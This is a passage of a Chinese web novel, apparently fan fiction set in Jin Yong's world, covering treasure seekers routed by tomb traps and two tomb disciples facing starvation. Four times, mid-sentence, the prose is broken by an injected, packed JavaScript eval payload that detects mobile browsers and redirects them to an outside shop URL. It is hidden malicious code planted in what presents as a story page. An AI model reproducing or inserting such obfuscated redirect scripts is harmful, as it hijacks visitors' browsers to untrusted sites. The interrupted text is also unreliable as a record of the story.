方才进墓时,一个个恨不得把别人推在前面。如今火一熄,又觉得里面的人死了,便开始怕别人先得宝。人心真是比古墓机关还好猜。 霍都正好看过来,两人目光一碰。 只这一眼,便都看懂了对方心里的九九。 霍都想让这些人探路,李莫愁也想。 她比霍都更清楚古墓里机关重重,更清楚那两个师妹没有那么容易死。她方才进墓时已经吃过亏,此刻自然不愿走在最前。可她又不能走最后。她若走最后,前面的人一旦乱撞乱走,说不定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750837|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 真会触动不该触动的地方,把她也困在里头。 于是争来争去,最后竟定了个人人都觉得自己占了便宜的法子。 李莫愁在中间指路,前头走几名自告奋勇的江湖人和几个全真弟子,霍都“压阵”在最后。 说到压阵,这时人人心里都清楚了,他是不肯再冒头。 可到了这一步,谁也不想再戳破。 众人点起火把,这一次,他们学乖了。 不再像先前那样挤成一团往里冲,而是两两相隔远些,前后拉开一段距离。有人举着火把,有人拿刀护住胸口,有人把剑举在身前,还有人将死去同伴遗下的包袱绑在臂上,想拿来挡箭。 火把照进甬道,烧过后的石壁发黑,地上残留着炭灰与断木。有些箭矢被火燎过,箭羽卷曲,孤零零躺在地上。再往里,黑暗仍旧深得看不见尽头。 第一个人踏进古墓时,脚步明显顿了顿,他咽了口唾沫。 第二个人从后头推他:“走啊。” 那人回头骂:“你有本事你走前头!” “别吵!”后面有人压低声音,“小心把人吵醒。” 这话一出,所有人都静了一瞬。 若那两个少年当真被熏死,自然无所谓醒不醒。 可若没死呢? 想到这里,火把光下的几张脸都变得难看。 队伍还是慢慢往里挪。 李莫愁走在中段,这里曾是她长大的地方。她年少时在这些甬道里走过,在这些石壁之间练过功,曾经被师父责罚,也曾逗得小童子哇哇大哭。 离开多年,不仅是岔路已经模糊,古墓机关更是忘却。虽然林朝英在世时,从未把所有机关都细细讲给她听。她只能凭记忆指路。 “往左。” 前面的人便往左。 “贴着右边走。” 前面的人便贴着右边。 可李莫愁被夹在人群中间,看不清最前方的脚下。火把光影晃动,人影遮挡,甬道又窄,有时她话音还没落,前面的人已经走过了想让他们避开的地方。 李莫愁心里越发烦躁,她想骂这些人蠢,又怕自己一开口,反而更乱。 就在一处转角前,前头有人忽然停下,后面的人没收住脚,撞了上去。 “你停什么?” “前面有块石头。” “石头有什么好怕的?” “李姑娘说贴右边走,我看右边也有石头。” 李莫愁听见这几句,心头忽然一跳。 她还没来得及喊,最前面那人已经不耐烦地一脚跨过去。 脚落地时,石板轻轻一沉。 声音很细。 咔。 李莫愁脸色骤变,她几乎是本能地往旁边一掠,拂尘一卷,借着石壁往上翻身。 甬道里人太多。 她身形刚动,旁边一个汉子被前头的惊呼吓得后退,肩膀狠狠撞在她腰侧。 李莫愁眼神一厉,反手一掌将那人拍开,自己也被撞得身形一偏。 下一刻,头顶传来轰然风声,黑暗上方骤然砸下数个流星锤。 25. 有鬼(2) 铁链从石壁暗格里甩出,沉重铁锤带着呼啸之声横扫下来。 火把光被风压得乱晃,众人这才看见头顶寒光一闪。 可已经晚了。 最前方几人只顾着防备甬道深处的冷箭,眼睛一直盯着前面,哪想到杀机来自头顶。 第一个人连叫声都没发出,脑袋便被流星锤砸中,脑浆迸发,整个人像断线木偶般倒下去。 第二个举刀去挡,刀身刚碰上铁锤,便被震得脱手,铁锤余势不减,砸在他肩膀上,骨头碎裂的声音清清楚楚响在甬道里,血如西瓜汁水飚射而出。 第三个立马后退,被后面的人堵住,慌乱间踩到同伴脚面,两人一起摔倒。另一枚铁锤从侧面扫来,正中这人胸口,咔嚓一声,胸骨塌下去一片。 惨叫声瞬间炸开,火把掉落在地。 有人大喊:“机关!机关!” 有人往前冲,有人往后退。窄窄甬道里顿时乱成一团。前头的人想逃,后头的人还不知道发生什么,只听见惨叫便本能地往外退;中间的人被挤得动弹不得,肩撞肩,背贴背,手里的兵器反而成了互相伤害的利器。 李莫愁借着石壁翻到一侧,避开第一轮流星锤。 可方才那一下撞击让她慢了半分,第二枚铁锤擦着她左臂扫过,虽未砸中骨头,却带起一阵火辣辣的痛。她咬牙落地,拂尘扫开一个挡路的人,硬生生从混乱里退到相对安全处。 洪凌波在后方吓得脸色惨白,喊了一声:“师父!” 李莫愁回头厉声道:“闭嘴,退!” 洪凌波连忙后退。 这一下,众人方才重新缝起来的胆子又裂开了,有人立刻心生退意。 “走!快走!” “不能进了!” “她们根本没死!这机关还在动!” “放屁,机关动不动跟人死没死有什么干系?” “那你进去啊!” 骂声、哭声、惨叫声搅在一起,甬道里浓烟未散,又被人群踩起炭灰,呛得人眼泪直流。 就在这时,甬道深处传来极轻的衣袂声,那声音本该淹没在混乱里。 可不知为何,有几个人同时听见了,他们猛地抬头。 黑暗尽头,两道白影出现。 小龙女和小童子并肩而来,她俩手握长弓,箭已搭弦。 火把乱晃的光扫到她们脸上,那光本该是红的,照在旁人脸上,多少会带出一点血色。可落到她俩脸上时,却像被古墓里的冷意吞了,只照出一层近乎雪白的清寒。两人从黑暗里走出,神情清清淡淡,眼睛没有半分被烟熏过的红,没有半分仓皇。步子轻而稳,衣衫整齐,呼吸不乱。 仿佛外头两个时辰的大火,根本不是烧在她们家门口。仿佛方才满山的人命、贪念、火光、烟气,都与她们无关。 小童子看见地上被流星锤砸死的几个人,眼神也只是微微一顿,小龙女更是毫无动容。 小童子没有立刻射箭,小龙女也没有。她们只是站在那里,便比箭射出来更可怕。 有人正好看清了她俩的脸色,只觉那两张脸被火把一照,不像活人,倒像从墓里浮出来的鬼影。 人群里忽然响起一声:“妈呀!” 这一声尖得走了调。 先前已经心生退意的人,像终于得了号令,转身便跑。 人一跑,就撞到后面的人。后面的人也怕,被其他人一撞,哪里还管前面发生了什么,也跟着转身。 一个退,带动一群。一群退,整条甬道便像被人从里头猛地推了一把。 “跑!” “快跑!” “她们没死!” “鬼啊!” 小龙女和小童子还没有松弦,众人已经慌忙逃命。有人丢了火把,有人丢了武器,有人摔倒,被同伴踩着爬过,痛得惨叫。 霍都原本走在最后,此刻倒成了离出口最近的人。他听见前头乱起,早已往旁边一闪,等那些人哭爹喊娘地退出来时,他也不再摆什么风流姿态,脚下一点,轻轻巧巧便退到墓门外。 李莫愁和洪凌波,夹在人群中退走。 她回头看了一眼,甬道深处,那两个白衣少年仍站在黑暗里。 小童子手中弓弦拉开半分,小龙女的箭尖微微下垂。她们没有追,也没有喊,只是冷冷看着这些人退去。 李莫愁心中恨意一闪,又有一点说不清的恼。她忽然意识到,自己这两个师妹与她记忆里已经全然不同。不是长大了,也不是武功高了,是她们真的和古墓长在了一起。这座墓的黑暗、机关、冷意,仿佛都认她们为主。 众人一直退到墓外,这一次,没有人再停在古墓前。 先前他们被箭射退,还能坐在外头咒骂,包扎,商量,再想下一次。可这一次,火攻无用,机关杀人,那两个少年又毫发无损地站出来,众人的心气便彻底散了。 他们不再议论如何分宝,也不再争谁先进,甚至不再敢回头多看那墓门一眼。 有人拖着伤往山下跑,有人扶着被砸断肩膀的同伴,有人连同伴尸体也不敢进去收,只嘴里念着:“明日,明日再来。” 可谁都知道,明日大约也不会来了。 夜已深,山里黑得很快。阴云压住天空,连一颗星都看不到。山路崎岖,林间又潮,众人撤得慌乱,火把光在风里一晃一晃,照得一张张脸惨白发青。 边撤,边有人开始找补。 “那两个少年……恐怕不是人。” 这话一出,周围几个人都没有立刻反驳。 方才他们若还要脸,定会说自己只是中了机关、被地利所困。可人一怕到极处,反而更愿意相信自己不是败给了人。 败给人,显得自己无能。败给鬼,便情有可原。 有人立刻接话:“我早觉得不对。哪有那样的少年?长得跟画里走出来似的,白衣白裤,武功又那么高,火烧两个时辰也没反应。” “是啊,连眼睛都没红。” “你们没听全真教的人说么?她们杀了全真七子之一。” “郝道长那样的人物,怎么会死在两个少年手里?说不定就是被鬼迷了,进了古墓,被鬼杀了!” 这话说得越来越像。 全真教弟子里有人想骂,可今日死伤太多,郝大通又确实死得太突然,竟一时也无人接话。 另一个江湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750838|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 人压低声音道:“我还听说,活死人墓本就是死人住的地方。里面那个掌门美若天仙,谁知道是不是早死了?说不定这传闻就是鬼引人去送命。” “对,对!以前那么多年,谁听说终南山有什么宝藏?谁听说古墓里有什么美人?怎么最近忽然就传开了?” “我们怕不是都被鬼迷了心窍。” “难怪我今日一听说有宝藏,脑子一热就来了。现在想想,真是邪门。” 众人越说越觉得就是这样。 若非鬼迷心窍,他们怎么会为了一个来历不明的传闻,南天地北地跑到终南山来围一座活死人墓?他们怎么会明知里面有冷箭、有机关、有玉蜂,还一遍遍往里送命?又怎么会有人被火熏两个时辰,还能衣不染尘地站在黑暗里? 恐惧需要一个理由,鬼正是最好的理由。 于是山路上的人越走越快,有人嘴里念起了佛,有人低声背道经,也有人骂骂咧咧,说以后再也不来终南山。 当然还有人还惦记着宝藏,却不敢说出口,只暗暗想着等天亮以后,等人多以后,等请来真正的高手以后……念头刚起,山风便从背后吹来,背上的冷汗被风一透,寒意直贴着脊梁往上爬,忽然他就不敢再往下想。 同众人一起下山的,还有李莫愁和洪凌波。洪凌波跟在李莫愁身后,听那些人一口一个鬼,脸色仍有些发白。 她今日被小童子制服,又亲眼见师父在两个师叔面前讨不到便宜,心里早已乱成一团。如今再听众人说鬼,虽知荒唐,却仍忍不住回想古墓里那两道白影。 李莫愁则嗤之以鼻。鬼?这些人倒会替自己的胆小寻说法。小龙女和小童子当然不是鬼,她们是她的师妹,是师父亲手养大的古墓弟子,是睡过寒冰床、练过玉女心经、在那座阴冷古墓里长成的两个活人。只是长得气质太像鬼了,李莫愁想到这里,脸色又冷了几分。 她比那些人更清楚真相,所谓传闻,根本不是什么鬼迷心窍。那些“古墓掌门美若天仙”“娶了她便可得宝藏秘籍”的话,就是她暗中放出去的。她想借江湖中人的贪念搅乱古墓,想让霍都、全真教、这些三教九流替她探路,替她逼小龙女和小童子交出玉女心经。 她原本以为这是浑水摸鱼的好法子,如今水是浑了,鱼却没有摸到,反倒险些被水里的石头砸了脚。 洪凌波小声道:“师父,我们……还回去吗?” 李莫愁没立刻回应,山风吹过她鬓边碎发,远处古墓的方向已经看不见了,只剩一片沉黑的山影。她沉默片刻,冷笑一声:“急什么。” 洪凌波不敢再问,李莫愁继续往山下走。身后那些人还在说鬼,说得越发真切,仿佛自己亲眼看见了古墓里伸出白骨手,亲眼见那两个少年从棺材里爬出来。 李莫愁听着,唇边笑意讥诮,可她的手指却在袖中缓缓握紧。玉女心经,她仍旧要。只是下一次,她不能再靠这些废物。 山路越来越黑,众人的火把连成一条摇摇晃晃的长蛇,慢慢往山下退去。 而古墓门前,烟灰渐冷,夜色重重落下。 墓里没有人追出来。 只有黑暗安静地守在那里,像什么都不曾发生过。 26. 人潮退后 小童子和小龙女原本以为,入侵者第二次进墓,总要再射几箭。 她们从玉女心经石室飞掠出来时,箭已搭在弦上,内息也已悄然运转。 古墓的黑暗在她们身侧一层层退开,甬道里的机关声尚未完全停下,流星锤砸过石壁后留下的余震还在细微地颤。 可等她们赶到时,事情已经不像她们想的那样。 那群人没有继续往前,也没有咬牙硬闯,甚至没有来得及看清她们的箭。 他们先是被机关砸得哭爹喊娘,随后一见她们从黑暗里出来,便像见了什么要命的东西。有人尖叫,有人后退,有人摔倒,有人连兵器也不要了,整条甬道乱得像被洪水冲散的柴堆。 小童子弓弦只拉开一半,她还没有射。小龙女的箭尖也只是微微垂着。 两人站在黑暗里,目送那些人从她们眼前仓皇退去。 火把掉在地上,刀剑滚到脚边,有人被同伴撞到石壁上,疼得大骂一声,又立刻跟着往外逃。还有人一边逃一边回头,像怕她们追上去。 小童子看得有些茫然,她本来已经想好了,若这些人还要往里冲,便先射腿;若他们再逼近,便射肩;若还不退,就不能再顾忌死活。可现在,她连第一箭都没放出去,外面的人已经自己把自己吓散了。 她偏头看小龙女,小龙女也正看着前方。她神色仍旧清淡,只是眼底有一点极轻的疑惑,大约她也没想到。 等众人终于逃出墓门,小童子和小龙女便无声跟了过去。 她们没有追杀,只是沿着甬道走到离墓门不远的黑暗里,听外头的脚步声越来越乱,越来越远。山风从墓门灌进来,吹散火灰,也吹来外头那些人的惊惧叫喊。 “快走!” “别回头!” “那不是人!” “是鬼!活死人墓里真的有鬼!” 小童子听见这句,终于忍不住愣了愣。鬼?她低头看了看自己的手,手是热的。方才练功时还因为气息反复凝散,掌心出了细汗。 她又看了看小龙女,小龙女白衣如雪,脸色清冷,站在黑暗里确实不像山下集市里那些人。可小龙女的手在她掌心里,温温凉凉,并不是死人。 小童子低声道:“龙儿,他们说我们是鬼。” 小龙女沉默片刻。 远处山路上,又有人一边跑一边喊:“郝大通道长怕不是被鬼迷了!” 这话顺着夜风传来,带着哭腔,惊惧里又有些急着替自己找理由的慌张。 小龙女忽然轻轻弯了一下眼,那笑极淡。若不仔细看,几乎看不见。 可小童子看见了,她眼睛一下亮起来。 “龙儿,你笑了。” 小龙女收回目光,淡淡道:“他们很吵。” “是很吵。”小童子想了想,又道,“也很会说。” 小龙女道:“说我们是鬼,便不算输给人。” 小童子怔了一下,随即也笑了。她笑得比小龙女明显许多,肩膀都轻轻动了一下,笑声爽朗。笑完以后,她又回头看了看古墓深处。 那里有石室,有寒冰床,有师父的棺椁,有刚安放孙婆婆不久的石棺,也有满壁玉女心经图。 “若师父知道外面的人说古墓有鬼,不知会不会生气。” 小龙女认真想了想:“或许不会。” “为什么?” “他们怕鬼,便不敢来。” 小童子觉得有理,她们便站在墓门内的阴影里,目送那条火把组成的长蛇歪歪斜斜地往山下逃去。火光在林间晃动,越来越远,最后被山道一折,吞进一片更深的黑里。 古墓前重新静下来。烟灰落地,夜风穿过被砍断的树桩,吹得残枝轻响。一只夜鸟在远处叫了一声,很快又没了动静。 小童子和小龙女没有立刻回去,她们又等了一会儿,确认那些人没有藏在近处,也没有折返回来,才将墓门附近散落的火把一一踢开。尚有余烬的,用石块压灭;没有烧尽的木头,便挑到外头去,免得在甬道里留下更多焦灰。 那一夜之后,古墓开始清静起来。那些临走前说第二日要回来“拿”同伴尸体的人,终究没有回来。 尸体留在甬道里,伤口、血迹、断骨,与古墓的冷石气息搅在一起,叫人不喜。小童子和小龙女等了两日,仍不见人影,便不再等。 第三日清晨,山间雾气很重。雾从林中漫到墓门前,像一层湿白的纱。被砍倒的树木横七竖八地躺着,有些枝叶已经蔫了,叶面沾着灰,边缘焦黑。玉蜂散了许多,只剩少数几只在附近低低飞着,知道这里曾经闹过一场不小的祸事。 小童子和小龙女将甬道里的尸体清出去,她们动作很安静,一个拎肩,一个拎脚。 死人沉重,衣衫沾灰,有的面目已经被流星锤砸得不成样子。小童子没有多看,神情平静。小龙女更是面色不变。 这些人不是孙婆婆,也不是师父。 他们带着贪念来,死在古墓机关下。她们不觉得痛快,也不觉得悲伤,只觉得古墓里不该留着他们。 尸体被丢到墓外林子边,山中自有鸟兽。没过多久,远处树枝间便有乌黑的影子落下。先是一只,两只,随后多了起来。鸟喙啄动的声音被雾气压得很低,偶尔有翅膀扑棱一下,惊起叶上水珠。 小童子看了一眼,便转身回墓,小龙女跟在她身侧。她们取了清水,把甬道里洗了一遍又一遍。古墓没有孙婆婆,许多活便要她们自己做。 从前孙婆婆总嫌小童子洗东西不仔细,水一泼,布一擦,便说干净了。小童子那时不爱听,觉得石头就是石头,擦来擦去又不会变白。如今她自己蹲在地上,用湿布一点点擦去石缝里的血痕,才知道有些东西若不擦干净,味道会一直留着。 血气、烟火气、外人的脚印,她不喜欢这些味道留在古墓里。 小龙女比她更有耐心,她提着水,从甬道前段一路擦到机关所在。每一处石板、每一面石壁,她都看得很仔细。哪里有箭痕,哪里有火灰,哪里被兵器刮出白印,她都记下。 机关要检查,流星锤收回暗格,铁链是否顺畅,石板是否复位,暗门有没有被火灰堵住,甬道里的箭孔有没有受损。两人一处一处看过去。小童子力气大些,负责挪动较重的机关部件;小龙女心思更细,负责听机关回声,判断有没有哪里卡住。 有一处石板被人踩裂了边,小童子蹲下看了许久,道:“以后若有人再踩,可能会提前响。” 小龙女道:“换旁边那块。” “怎么换?” 小龙女沉默片刻,她也不知道。 从前这些事或许是师父知道,或许是孙婆婆知道一些,或许根本不需要修。古墓机关多年不用,若不是这次有人闯进来,她们也不会想到,机关也和人一样,会坏,会旧,会需要打理。 小童子看着裂石,忽然道:“以后我们要学会修。” 小龙女点头:“嗯。” 两人便把那处暂且记下,又把别的机关一一检查、归位。 全真教那边也暂时很安静,山上再没有大批脚步声,也没有道士来墓门前叫阵。郝大通死了,孙不二受伤,那些全真弟子或许正在等其余几子回来,或许正在商议如何报仇。小童子和小龙女并不在意。 若来,便打。若不来,便练功。 古墓重新成了她们熟悉的样子。安静、阴冷、没有外人,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小龙女闭着眼,道:“莫乱动。” 小童子便停下,停了片刻,又忍不住问:“龙儿,你说它为什么不出去?” 小龙女道:“明日再想。” 第二日,她们继续。基本功、玉蜂浆、拆招、玉蜂浆、肩上剑、足下剑。 第三日,也是如此。 只是到了第三日午后,小童子出剑时,剑尖忽然偏了一寸。 那一寸在旁人眼里或许不算什么,可在小龙女眼里,便很明显。 她手腕一转,玄铁手套扣住小童子的剑身,没有立刻反击,而是看向小童子。 小童子也怔了一下,她方才那一剑,不该偏。 她低头看自己的手,手还握着剑,指节也有力,可身体里像少了一层东西。内力运转没有问题,招式也记得清清楚楚,就是脚下有一点浮,像踩在不够实的石板上。 “再来。”小童子不服。 她抽剑,换招,再进。这次前面三招都对,第四招身形一转时,脚下忽然一软。 她本来可以借腰力转开,可腰间那股劲没接上,整个人便向旁边歪了一下。若是平时,她足尖一点就能稳住,可此刻脚底像空的。 小童子一屁股坐到了地上。 石室里安静下来。 小龙女站在她面前,垂眼看她。小龙女的神情仍旧很平静,只是那双眼睛看着小童子时,有一点不易察觉的失神。 小童子坐在地上,握着剑,自己也有些莫名。她没有受伤,没有中毒,方才运功也没有走岔。 那为什么会腿软? 27. 饿死 小童子想了想,抬头道:“龙儿。” “嗯?” “我好像……很饿。” 这句话说出口,两人都沉默了。 很饿,这个词在古墓里显得有些陌生。 从前她们当然也会饿,可饿了之后便有饭。孙婆婆总能变出吃的来,热粥、馒头、青菜、腌笋、鸡蛋、偶尔还有肉,还会有鱼。 哪怕师父不许她们贪口腹之欲,孙婆婆也总会在她们练功后多添一碗汤。 可后来孙婆婆去世了。 厨房还剩些米面,她们忙着报仇,忙着处理杨过,忙着应对外敌,饿了便随手吃一点。 再后来是外头人围墓、火攻、触发机关,到她俩清理尸体,检查机关,打扫古墓,她们仍旧没有仔细想。 直到三日玉蜂浆之后,身体终于先她们一步提出了抗议。 玉蜂浆很好,可是不顶饱。 小龙女慢慢蹲下,她也察觉到自己有些气虚。 不是内力空了,而是身子轻得过了头。方才看小童子出剑偏时,她的眼前也有过极短的一瞬发白。她没有表现出来,只以为是连日劳累。可现在小童子坐在地上说饿,她才明白,原来不是劳累,是饥饿。 小童子看着她,道:“你也饿?” 小龙女点头,小童子忽然笑了一声,清爽的笑声在石室中回荡。 这不是高兴的笑,也不是嘲笑,是终于发现一件的荒唐事后,不知该如何是好的笑。 “我们武功练到能杀全真七子之一,能把一群人吓得以为自己见了鬼,最后却要饿死在古墓里?” 小龙女没有立刻回答,她只是慢慢坐到小童子旁边。 两人并肩坐在石室地上,互相依靠,面前是空荡荡的练功室,隔壁是寒冰床所在的方向,再远些,是厨房。厨房里如今很干净,也很空。 小童子道:“师父说,古墓门人须得终身留在古墓,不得出墓门。” 小龙女道:“嗯。” “可是师父立下这个规矩时,是在什么情形下说的?” 小龙女垂下眼,她记得师父说这句话时的样子。 这句话,她们从很小的时候便听师父说过。练功前说,犯错时说,背门规时也说,背错一个字便要重新跪好,从头再背一遍。 到了林朝英病重时,她仍旧严厉,眼神清亮,像一柄未锈的剑,又让她们在床前一字一句背给她听:古墓门人须终身留在古墓,不得出墓门;除非有男子甘愿为之而死,且事先并不知晓这条门规。 她们那时跪在床前,一个比一个安静。小童子眼泪一直流,却咬着牙没有哭出声。小龙女则看着师父,把早已背熟的话又在心里记了一遍。 那时孙婆婆还在,厨房有人,墓门外的路有人走。 米缸会空,也会满。盐罐会少,也会添。针线、布匹、药材、灯油,所有她们从未认真想过的东西,都会在需要的时候出现。 师父立下门规时,古墓并不是只有她们两个。 小童子继续道:“师父是不是没有想过,孙婆婆也会不在?” 小龙女沉默。师父自然知道人会死,她自己便是病死的。可师父或许没有想过,古墓有一日会只剩两个十八岁的弟子。 一个掌门,一个师妹,两人武功高强,能闭气,能杀敌,能守机关,却不会凭空变出一碗米饭。 小童子揉了揉肚子,“我们能一辈子不出墓。”她停了停,又道:“可若这一辈子只有十八岁呢?” 小龙女抬眼看她,小童子说得很认真。 “答应一辈子不出墓,是不是也要把这辈子缩短到十八岁?我们若饿死在这里,也算守了师命吗?” 石室里很安静,这个问题听起来荒唐,可荒唐里又有一种冷冰冰的真实。 小龙女从小到大,很少质疑师父的话,师父教她睡寒冰床,她便睡;师父教她练玉女心经,她便练;师父说她是掌门,她便做。 师父临终时说,古墓派只有你们两个了,小童子要好好练功,要和她一起睡寒冰床。她也记着。 她从没有想过,师父的话会不对,或者说,不是“不对”,而是不够。 师父说的话,或许适用于有孙婆婆、有存粮、有仆人往来的古墓。 可如今孙婆婆不在,她们若继续照字面守着,最后便不是清修,不是守墓,而是坐在空厨房旁边等死。 小龙女忽然想起很多年以前,除夕那日,小童子不愿睡寒冰床,被师父打得屁股肿起,还梗着脖子说明天继续打。 那时大家都笑,连李莫愁也笑得直不起腰。孙婆婆端着热腾腾的吃食,红衣裳鲜亮,墓里少见地有了些年味。 那时她们也说终身不出墓,可那时古墓里有饭香。 小龙女低声道:“师父或许没有过过没有仆人的日子。” 小童子看向她,这句话从小龙女口中说出来,便显得格外不同。 不是抱怨,也不是顶撞,只是一个很冷静的判断。 林朝英当然吃过苦,她情路不顺,心气高傲,孤身建古墓,与王重阳相斗相争。她的一生绝不轻松。 可她未必亲手管过米缸,未必在练完功后,发现厨房里除了玉蜂浆什么也没有。 未必需要在门规与饿肚子之间认真取舍。 小童子忽然又想笑。 她想象师父当年立规矩时,定然满心都是江湖、清修、断俗。 谁能想到多年以后,两个弟子坐在玉女心经石室里,讨论终身不出墓是不是等于终身不买米。 “龙儿。”小童子道,“我们可以战死在古墓。” “嗯。” “也可以老死在古墓。” “病死也可以。” 小龙女看她,小童子摊了摊手:“人都会生病。师父也是病死的。” 她停了一下,终于把那句最荒唐的话说出来。 “可是饿死在古墓,似乎显得很蠢。” 小龙女没有反驳,她认真想了想。 战死,是守墓;老死,是归宿;病死,是天命。 饿死呢? 若外头强敌围攻,粮尽援绝,饿死或许也算节烈。 可如今外头人已经退了,山下有集市,有米,有盐,有菜,有她们看不懂却真实存在的人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750840|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 烟火。 她们身怀轻功,来去不过一趟山路。若只是因为一句门规,便坐在古墓里把自己饿死。那确实不太聪明。 尤其她还是掌门,掌门不是只守着规矩,掌门也要让古墓派活下去。 小龙女第一次如此清楚地觉得,师父说的话,好像不该完全照着字面遵守。 这个念头很轻,却也很重。像一枚小石子落进寒潭里,声音不大,涟漪却一圈圈散开。 她从前想过自己会死在古墓,病死在这里,战死在这里,老死在这里。 甚至若有一日小童子不在,她也许会一个人睡在寒冰床上,安安静静等到气息散尽。 可她真的没有想过,自己十八岁饿死在古墓。 而且不是因为敌人断粮,只是因为不能出门买米。 小龙女抬起手,轻轻按在自己腹上,那里空得厉害。 她看向小童子,小童子也正看着她,眼神清亮,又带着一点忍不住的笑意和委屈。像小时候被李莫愁捏疼了脸,却硬要说自己不哭,结果眼眶还是红了一圈。 小龙女握住她的手:“童儿。” “嗯?” “饿死不好。” 小童子终于笑出声。 她笑得坐在地上弯了腰,笑声在石室里轻轻回荡。笑着笑着,又觉得肚子更空,只好捂住肚子停下来。 小龙女看着她,眼中也有极淡的笑。 这一笑比之前听见别人说鬼时更轻,却也更真实。 小童子缓了缓,道:“那怎么办?” 小龙女没有立刻答,她看向石室满壁人物图,师父留下的武功仍在那里,玉女心经仍在那里,古墓派也仍在那里。 她们不是要弃门规而去,也不是要贪恋山下的热闹。 她们只是要让古墓继续有人,让掌门和弟子不至于荒唐地死在空米缸旁。 过了许久,小龙女道:“先找找厨房还有什么。” 小童子点头,两人起身。 小童子刚站起来,腿又软了一下,小龙女扶住她。 小童子低头看自己的脚,有些不满:“足下剑没练成,足下软倒是先成了。” 小龙女道:“明日再练。” “明日有饭吗?” 小龙女安静片刻:“先找。” 两人便一起往厨房走,古墓甬道仍旧清冷,石壁上的水汽凝成细小水珠,沿着缝隙缓慢滑落。她们走过寒冰床,走过孙婆婆从前常坐着择菜的石阶,走到厨房门口时,小童子忽然停了一下。 厨房里没有火,也没有锅铲敲锅沿的声音。 她俩推门进去,米缸空了,米袋只剩一点贴在袋角的白粉。盐罐还有半罐,干菜早在前几日被她们煮完。 几包孙婆婆从前藏起来的点心,也在围墓那日被小童子翻出来吃了个干净。 小童子看着空米缸,沉默片刻。 “龙儿,我觉得师父真的没想过。” 小龙女看着那只空缸,她也觉得。师父没有想过,她们以前也没有想过。 可是现在,她想到了。 这或许便是掌门该想的事情。 28. 鬼市 厨房是真的空了。 小童子一开始还不死心,她把米缸又掀开看了一遍。米缸底部干干净净,只有几粒碎米卡在缸沿细缝里,像几颗不肯承认自己已经无用的小白点。她伸手进去抠了抠,抠出三粒,摊在掌心里看了半晌。 三粒米,不够她塞牙缝。 小龙女站在一旁,静静看着。 小童子把那三粒米放回缸里,她又去看面粉,面粉袋被她抖了抖,扬起一点极细的白粉。那粉末飘在昏暗厨房里,借着门外一点冷光,像一层细小的雾。 小童子盯着看了片刻,觉得若把这些白粉都刮下来,或许能在指尖捏出一点面糊,但也只是指尖一点。 她放下面粉袋,又翻了一遍架子。 盐罐还在,半罐盐安安静静躺着,倒显得比她们两个还镇定。 干菜没有,腌笋没有,鸡蛋没有。 孙婆婆从前藏点心的小木匣也被小童子翻出来打开,里面只剩几片碎屑。她盯着碎屑看了许久,终于伸手拈起一点放进嘴里。甜味几乎没有了,只有一点陈旧的干香。 小童子转头看小龙女,小龙女也正看着厨房。 这间厨房从前不算热闹,却总有活气。柴火会燃,锅里会冒气,孙婆婆会在灶前弯着腰,一边嫌小童子又偷吃,一边把盛得更满的碗递给她。小龙女小时候坐在石阶边,手里捧着碗,吃得很慢;小童子则吃得快,吃完还要看小龙女碗里剩了什么。 如今灶冷,锅冷,石桌也冷,厨房比练功室还安静。 小童子道:“真的没有了。” 小龙女点头,她早已看出来没有。只是小童子要翻,她便陪着翻。 小童子又问:“玉蜂浆倒还有。” 小龙女道:“不顶饱。” 这四个字说得很轻,却像最后一锤落下。 两人都沉默了。 古墓里当然还有许多东西,有林朝英留下的机关,有满壁玉女心经,有寒冰床,有玉蜂,有几箱银钱,有兵刃,有衣物,有药,有足以让江湖人眼红的秘籍与宝物。 可这些东西都不能吃。 小童子忽然觉得有些荒唐,江湖人为了古墓宝藏打生打死,若真让他们进来,只怕会扑向那些银钱珠玉、秘籍兵器。 可她现在看着那些东西,只觉得它们不如一袋米。小龙女似乎也想到这一点,她转身往古墓深处走。 小童子跟上,“去哪?” “取银子。” “取多少?” 小龙女想了想,她不知道一袋米要多少银子。 从前孙婆婆买东西回来,从不向她们细说价钱,小龙女也不曾问。她知道古墓不缺银钱,却不知道银钱到了山下到底要如何变成米、菜、盐、布、灯油。 于是她道:“多取些。” 小童子觉得很有道理。 